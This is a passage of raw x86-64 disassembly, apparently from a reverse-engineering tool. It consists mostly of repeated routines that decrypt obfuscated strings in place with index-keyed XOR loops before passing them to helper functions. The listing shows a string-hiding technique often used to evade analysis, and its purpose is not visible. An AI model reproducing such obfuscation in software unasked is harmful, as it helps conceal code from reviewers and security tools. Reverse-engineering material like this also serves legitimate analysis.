psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140016620
cmp r8d, 0x1a
jge 0x140016741
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140016710
mov byte [rbp + 0x92], 0
lea rdx, [rbp + 0x14a8]
lea rcx, [rbp + 0x92]
call fcn.1400347b0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400168a1
mov r8d, edi
cmp esi, 2
jl 0x140016867
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016780
cmp r8d, 0x16
jge 0x1400168a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140016870
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x93], 0
lea rdx, [rbp + 0xda8]
lea rcx, [rbp + 0x93]
call fcn.1400345e0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400169f0
mov r8d, edi
cmp esi, 2
jl 0x1400169ad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400169c0
mov byte [rbp + 0x94], 0
lea rdx, [rbp + 0x11c8]
lea rcx, [rbp + 0x94]
call fcn.140034410
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140016b30
mov r8d, edi
cmp esi, 2
jl 0x140016af2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140016b00
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x95], 0
lea rdx, [rbp + 0x5c8]
lea rcx, [rbp + 0x95]
call fcn.140034370
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140016b98
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x96], 0
lea rdx, [rbp + 0x1218]
lea rcx, [rbp + 0x96]
call fcn.140034190
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x140016cbd
cmp esi, 2
jl 0x140016c7d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm6, xmm0
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, dword [rax]
xorps xmm6, xmm0
movd dword [rax], xmm6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm7, xmm0
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, dword [rax + 4]
xorps xmm7, xmm0
movd dword [rax + 4], xmm7
mov edi, 8
movsxd r8, edi
add r8, r9
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xf
jl 0x140016c90
mov rcx, r9
jmp 0x140017ee8
mov byte [rbp + 0x97], 0
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x97]
call fcn.140034bd0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140016d09
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1680]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1680]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1680]
call fcn.1400b3040
cmp ebx, 8
jne 0x1400172ea
mov byte [rbp + 0x98], 0
lea rdx, [rbp + 0x11d8]
lea rcx, [rbp + 0x98]
call fcn.1400352f0
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x140016e71
mov r8d, edi
cmp esi, 2
jl 0x140016e35
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140016e40
mov byte [rbp + 0x99], 0
lea rdx, [rbp + 0xdb8]
lea rcx, [rbp + 0x99]
call fcn.140035120
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140016fa1
mov r8d, edi
cmp esi, 2
jl 0x140016f62
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140016f70
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x9a], 0
lea rdx, [rbp + 0xdc8]
lea rcx, [rbp + 0x9a]
call fcn.140034f50
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400170f0
mov r8d, edi
cmp esi, 2
jl 0x1400170ad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400170c0
mov byte [rbp + 0x9b], 0
lea rdx, [rbp + 0xde8]
lea rcx, [rbp + 0x9b]
call fcn.140034d80
mov r9, rax
cmp byte [rax + 0xd], 0
je 0x14001721d
cmp esi, 2
jl 0x1400171e6
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm6, xmm0
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd eax, xmm13
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9]
xorps xmm6, xmm0
movd dword [r9], xmm6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm7, xmm0
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm7, xmm0
movd dword [r9 + 4], xmm7
mov edi, 8
movsxd r8, edi
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xe
jl 0x1400171f0
mov rdx, rbx
mov rcx, r9
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov rdi, rax
mov byte [rbp + 0x9c], 0
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x9c]
call fcn.140034ce0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140017285
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x9d], 0
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x9d]
call fcn.140034c50
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400172cd
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov rdx, rdi
mov rcx, rax
call fcn.1400b5ca0
mov al, 1
jmp 0x140017f6e
mov byte [rbp + 0x9e], 0
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x9e]
call fcn.1400354c0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14001732e
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x16a0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x16a0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x16a0]
call fcn.1400b3040
cmp ebx, 8
jne 0x1400179e5
mov byte [rbp + 0x9f], 0
lea rdx, [rbp + 0x10c]
lea rcx, [rbp + 0x9f]
call fcn.140035e50
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140017397
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp + 0xa0], 0
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0xa0]
call fcn.140035ca0
mov rcx, rax
cmp byte [rax + 7], 0
je 0x1400174c3
cmp esi, 2
jl 0x140017481
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x1400174c3
mov r10, rcx
mov r9d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
movzx eax, r9b
sub al, r8b
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x140017490
mov rdx, rbx
call fcn.140003210
mov r14, rax
mov byte [rbp + 0xa1], 0
lea rdx, [rbp + 0x828]
lea rcx, [rbp + 0xa1]
call fcn.140035ad0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140017610
mov r8d, edi
cmp esi, 2
jl 0x1400175cc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400175e0
mov byte [rbp + 0xa2], 0
lea rdx, [rbp + 0xdf8]
lea rcx, [rbp + 0xa2]
call fcn.140035900
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140017750
mov r8d, edi
cmp esi, 2
jl 0x140017712
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140017720
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0xa3], 0
lea rdx, [rbp + 0x12e8]
lea rcx, [rbp + 0xa3]
call fcn.140035710
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400178c1
cmp esi, 2
jl 0x14001787f
mov edx, edi
mov rcx, rax
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400177a0
jmp 0x1400178c1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140017890
mov byte [rbp + 0xa4], 0
lea rdx, [rbp + 0x838]
lea rcx, [rbp + 0xa4]
call fcn.140035540
mov r9, rax
cmp byte [rax + 0xc], 0
je 0x140016cbd
cmp esi, 2
jl 0x1400179a6
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm6, xmm0
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, dword [rax]
xorps xmm6, xmm0
movd dword [rax], xmm6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm7, xmm0
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, dword [rax + 4]
xorps xmm7, xmm0
movd dword [rax + 4], xmm7
mov edi, 8
movsxd r8, edi
add r8, r9
nop dword [rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xd
